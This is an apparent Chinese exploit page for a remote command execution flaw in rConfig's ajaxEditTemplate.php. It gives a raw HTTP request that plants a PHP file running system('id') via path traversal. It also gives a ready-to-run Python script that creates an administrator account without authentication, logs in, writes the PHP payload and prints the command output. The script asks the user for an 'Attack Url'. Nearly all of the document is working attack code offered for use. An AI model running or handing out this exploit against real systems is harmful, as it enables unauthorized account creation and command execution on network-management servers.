RConfig ajaxEditTemplate.php 后台远程命令执行漏洞

POC

POST /lib/ajaxHandlers/ajaxEditTemplate.php HTTP/1.1
Host: 
Cookie: PHPSESSID=fv8j4c6r4gofug1vr9v3efdvj7
Content-Length: 81
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Origin: https://176.62.195.243
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://176.62.195.243/lib/ajaxHandlers/ajaxEditTemplate.php

fileName=../www/test.php&code=<?php echo system('id');?>&id=1

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author : PeiQi
# from   : http://wiki.peiqi.tech

import base64
import requests
import random
import re
import json
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests_toolbelt.multipart.encoder import MultipartEncoder

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mGithub : https://github.com/PeiQi0                                 \0330m')
    print('+  \03334m公众号  : PeiQi文库                                                   \0330m')
    print('+  \03334mVersion: rConfig ajaxEditTemplate.php 后台远程命令执行               \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/lib/crud/userprocess.php"
    referer = target_url + "useradmin.php"
    ran_number = random.randint(1, 999)
    origin = target_url
    multipart_data = MultipartEncoder(
        fields={
            'username': 'testtest{}'.format(ran_number),
            'password': 'email protected{}'.format(ran_number),
            'passconf': 'email protected{}'.format(ran_number),
            'email': 'testtest{}@test.com'.format(ran_number),
            'ulevelid': '9',
            'add': 'add',
            'editid': ''
        }
    )
    headers = {'Content-Type': multipart_data.content_type, "Upgrade-Insecure-Requests": "1", "Referer": referer,
               "Origin": origin}
    cookies = {'PHPSESSID': 'test'}
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(vuln_url, data=multipart_data, verify=False, cookies=cookies, headers=headers, allow_redirects=False)
        if "error" not in response.text:
            username = 'testtest{}'.format(ran_number)
            password = 'email protected{}'.format(ran_number)
            print("\03336mo 成功创建账户 testtest{}/email protected{} \0330m".format(ran_number, ran_number))
            POC_2(target_url, username, password)
        else:
            print("\03331mx 创建失败:{} \0330m")
    except Exception as e:
        print("\03331mx 请求失败:{} \0330m".format(e))
        sys.exit(0)

def POC_2(target_url, username, password):
    print("\03336mo 正在登陆账户..... \0330m")
    vuln_url = target_url + "/lib/crud/userprocess.php"
    headers = {
        'Content-Type': "application/x-www-form-urlencoded; charset=UTF-8",
        "Referer": target_url + "deviceConnTemplates.php",
        "Origin": target_url,
        "X-Requested-With": "XMLHttpRequest",
        "Accept-Language": "en-US,en;q=0.5"
    }
    data = {
        'user': username,
        'pass': password,
        'sublogin': '1'
    }
    try:
        response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10)
        print("\03336mo 正在尝试执行 id....\0330m")
        with requests.Session() as s:
            p = s.post(target_url + '/lib/crud/userprocess.php', data=data, verify=False)
            if "Stephen Stack" in p.text:
                print("\03331mx 登录失败 \0330m")
            else:
                data = "fileName=..%2Fwww%2Ftest.php&code=%3C%3Fphp+echo+system%28%27id%27%29%3B%3F%3E&id=1"
                rce = s.post(target_url + '/lib/ajaxHandlers/ajaxEditTemplate.php', verify=False, data=data,
                             headers=headers)
                if "success" in rce.text:
                    response = s.get(target_url + '/test.php.yml', verify=False)
                    print("\03336mo 成功执行 id, 响应为:\n{} \0330m".format(response.text))
                else:
                    print("\03331mx 请求失败 \0330m")
    except Exception as e:
        print("\03331mx 请求失败:{} \0330m".format(e))
        sys.exit(0)


if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl   >>> \0330m"))
    POC_1(target_url)